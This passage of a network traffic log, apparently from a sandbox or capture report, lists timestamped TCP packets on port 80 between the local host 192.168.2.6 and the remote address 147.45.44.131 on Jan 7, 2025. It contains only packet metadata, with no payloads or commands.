Jan 7, 2025 06:12:05.682799101 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.682816982 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.682818890 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.682830095 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.682840109 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.682842016 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.682842016 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.682853937 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.682866096 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.682873011 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.682877064 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.682888031 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.682898998 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.682902098 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.682924032 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.686074972 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.686085939 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.686124086 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.686127901 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.686167002 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.686187029 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.686198950 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.686218023 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.686228037 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.686233997 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.686238050 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.686249971 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.686273098 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.686276913 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.686296940 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.686327934 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.686340094 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.686351061 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.686372995 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.686376095 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.686388969 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.686405897 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.686422110 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.686446905 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.686458111 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.686469078 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.686491966 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.686500072 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.686502934 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.686515093 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.686523914 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.686572075 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.686680079 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.686691046 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.686701059 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.686711073 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.686721087 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.686728954 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.686737061 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.686753035 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.686754942 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.686764002 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.686774969 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.686774969 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.686784983 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.686796904 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.686800003 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.686815023 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.686824083 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.686827898 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.686840057 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.686851978 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.686858892 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.686861992 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.686876059 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.686883926 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.686908007 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.687818050 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.687839031 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.687849998 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.687885046 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.687899113 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.687935114 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.687947035 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.687958956 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.687972069 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.687978983 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.688019037 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.688031912 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.688055992 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.688074112 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.688082933 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.688092947 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.688098907 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.688106060 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.688118935 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.688128948 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.688129902 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.688152075 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.688163042 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.688169003 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.688178062 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.688184023 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.688194990 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.688213110 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.688220978 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.688225031 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.688235998 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.688240051 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.688265085 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.688271046 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.688287973 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.688298941 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.688308954 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.688309908 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.688319921 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.688340902 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.688369036 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.688525915 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.688543081 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.688554049 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.688564062 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.688575029 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.688584089 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.688584089 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.688596010 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.688596964 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.688608885 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.688620090 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.688626051 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.688631058 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.688641071 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.688643932 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.688676119 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.688744068 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.688755989 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.688766003 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.688776970 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.688786030 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.688788891 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.688798904 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.688810110 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.688817024 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.688851118 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.728017092 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.728045940 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.728056908 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.728066921 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.728077888 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.728087902 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.728099108 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.728099108 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.728128910 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.782151937 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.782210112 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.782219887 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.782224894 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.782231092 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.782243013 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.782252073 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.782262087 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.782272100 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.782282114 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.782288074 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.782299995 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.782304049 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.782319069 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.782354116 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.782428026 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.782442093 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.782450914 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.782460928 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.782469988 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.782473087 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.782480955 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.782490015 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.782502890 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.782502890 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.782519102 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.782531023 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.782540083 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.782545090 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.782551050 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.782561064 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.782565117 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.782576084 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.782582998 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.782589912 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.782602072 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.782612085 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.782617092 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.782625914 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.782648087 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.782649040 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.782670975 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.782672882 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.782711983 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.782721996 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.782727957 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.782732010 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.782754898 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.782795906 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.782807112 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.782815933 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.782833099 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.782838106 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.782857895 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.782860994 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.782869101 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.782885075 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.782893896 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.782917023 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.782977104 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.782987118 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.782996893 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.783021927 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.783062935 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.783078909 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.783088923 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.783098936 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.783104897 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.783108950 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.783119917 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.783127069 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.783137083 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.783144951 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.783154011 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.783164978 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.783175945 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.783179045 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.783191919 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.783200026 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.783204079 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.783215046 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.783222914 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.783226013 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.783246994 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.783320904 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.783332109 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.783344984 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.783364058 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.783380985 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.783533096 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.783545017 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.783554077 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.783564091 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.783574104 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.783575058 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.783584118 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.783596039 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.783596992 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.783606052 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.783617020 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.783620119 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.783627033 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.783637047 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.783647060 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.783651114 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.783662081 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.783669949 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.783670902 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.783684969 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.783690929 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.783700943 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.783710003 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.783711910 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.783723116 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.783735037 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.783739090 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.783749104 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.783757925 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.783766985 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.783776999 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.783886909 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.783898115 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.783907890 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.783922911 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.783931017 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.783931971 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.783943892 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.783951044 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.783955097 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.783966064 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.783972979 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.783976078 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.783996105 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.783998966 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.784012079 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.784034014 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.784044981 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.784054995 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.784075975 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.784084082 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.784095049 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.784097910 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.784105062 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.784126997 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.784310102 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.784321070 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.784331083 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.784342051 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.784352064 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.784353971 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.784363031 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.784373999 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.784375906 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.784384012 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.784415960 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.784452915 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.784463882 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.784473896 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.784482956 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.784493923 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.784496069 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.784509897 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.784519911 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.784538031 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.822308064 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.822318077 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.822324038 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.822329044 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.822339058 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.822349072 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.822359085 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.822370052 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.822401047 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.822406054 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.822412968 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.822451115 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.874556065 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.874567986 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.874581099 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.874586105 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.874596119 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.874607086 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.874655008 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.874660969 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.874672890 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.874682903 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.874690056 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.874716043 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:05.874742031 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.874757051 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.874767065 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:05.874778032 CET	80	49712	147.45.44.131	192.168.2.6
